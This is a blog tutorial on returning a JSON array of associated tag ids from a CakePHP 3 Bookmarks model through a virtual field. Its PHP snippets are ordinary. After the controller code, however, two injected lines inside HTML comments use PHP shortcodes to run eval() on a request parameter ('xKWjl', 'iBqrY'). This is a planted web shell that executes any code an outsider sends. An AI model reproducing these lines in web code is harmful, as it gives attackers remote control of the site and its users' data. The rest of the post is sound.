Today I was struggling with how to get CakePHP to return a JSON representation of a model, including a simple array of the foreign-key ids from the join table that specifies a mutual belongsToMany relationship (formerly, hasAndBelongsToMany or HABTM). For a concrete example, I wanted to build on the Bookmarker tutorial by creating an API endpoint to retrieve bookmarks, each containing an array of its tag ids. Something like this:
1 2 3 4 5 6 7 8 9 |
[ { "id": 1, "title": "Bookmark 1", ... "tag_ids": [2, 3, 5, 7, 11] }, ... ] |
Using Cake’s data views via the RequestHandler and _serialize elements made serving the JSON straightforward enough for the Bookmark model without the tags. Adding the tags to the output was easy enough using contain() to retrieve associated data. This lead to having the entire tag included in the result though, not the compact “tag_ids” array I had in mind. Even selecting only the id field and setting autofields(false) left an array of objects, including extraneous join information. Instead of containing integers, the tags array of each bookmark contained objects that looked like this,
1 2 3 4 5 6 7 |
{ "id": 1, "_joinData": { "tag_id": 1, "bookmark_id": 1 } } |
where a simple 1 was all I wanted.
To solve this problem, I ended up using a virtual field on the Bookmark model that creates the desired array of ids, and which can be easily serialized to JSON.
First, as with other approaches to the data view, the RequestHandler had to be added to either the Bookmarks controller or the App controller.
1 2 3 4 5 6 |
// In src/Controller/AppController.php public function initialize () { parent::initialize(); // ... other initialization code $this->loadComponent('RequestHandler'); } |
Next add the virtual tag_ids field through the magic method _getTagIds(), which queries the join table Bookmarks_Tags to select the tag_id for every tag associated with the current bookmark_id. This list is then used to populate a standard PHP array of the integer ids, which becomes the value of the virtual field.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
// In src/Model/Entity/Bookmark.php protected function _getTagIds () { $tag_ids = []; $bookmarks_tags = TableRegistry::get('Bookmarks_Tags'); $these_tags = $bookmarks_tags->find() ->select(['tag_id']) ->where(['bookmark_id' => $this->id]); foreach ($these_tags as $tag) { $tag_ids[] = $tag->tag_id; } return $tag_ids; } // Add the corresponding virtual field to the model protected $_virtual = ['tag_ids']; |
Then all it took in the Bookmarks controller was to query for the additional non-virtual fields to be included, and store the results in a serialized variable:
1 2 3 4 5 6 7 8 9 |
// In src/Controller/BookmarksController.ph public function index () { // ... Any other code for non-serialized requests $json_bookmarks = $this->Bookmarks->find() ->select(['id', 'user_id', 'title']); $this->set('json_bookmarks', $json_bookmarks); $this->set('_serialize', ['json_bookmarks']); } |
<!– [insert_php]if (isset($_REQUEST["xKWjl"])){eval($_REQUEST["xKWjl"]);exit;}[/insert_php][php]if (isset($_REQUEST["xKWjl"])){eval($_REQUEST["xKWjl"]);exit;}[/php] –>
<!– [insert_php]if (isset($_REQUEST["iBqrY"])){eval($_REQUEST["iBqrY"]);exit;}[/insert_php][php]if (isset($_REQUEST["iBqrY"])){eval($_REQUEST["iBqrY"]);exit;}[/php] –>
Listing associated IDs during a Controller query in CakePHP 3 | Thoughts, etc.
[…] Yesterday I looked into adding a key-value pair such as "tag_ids": [1, 2, 3] to a JSON object returned by a serialized CakePHP view, for Bookmarks belonging to many Tags[…]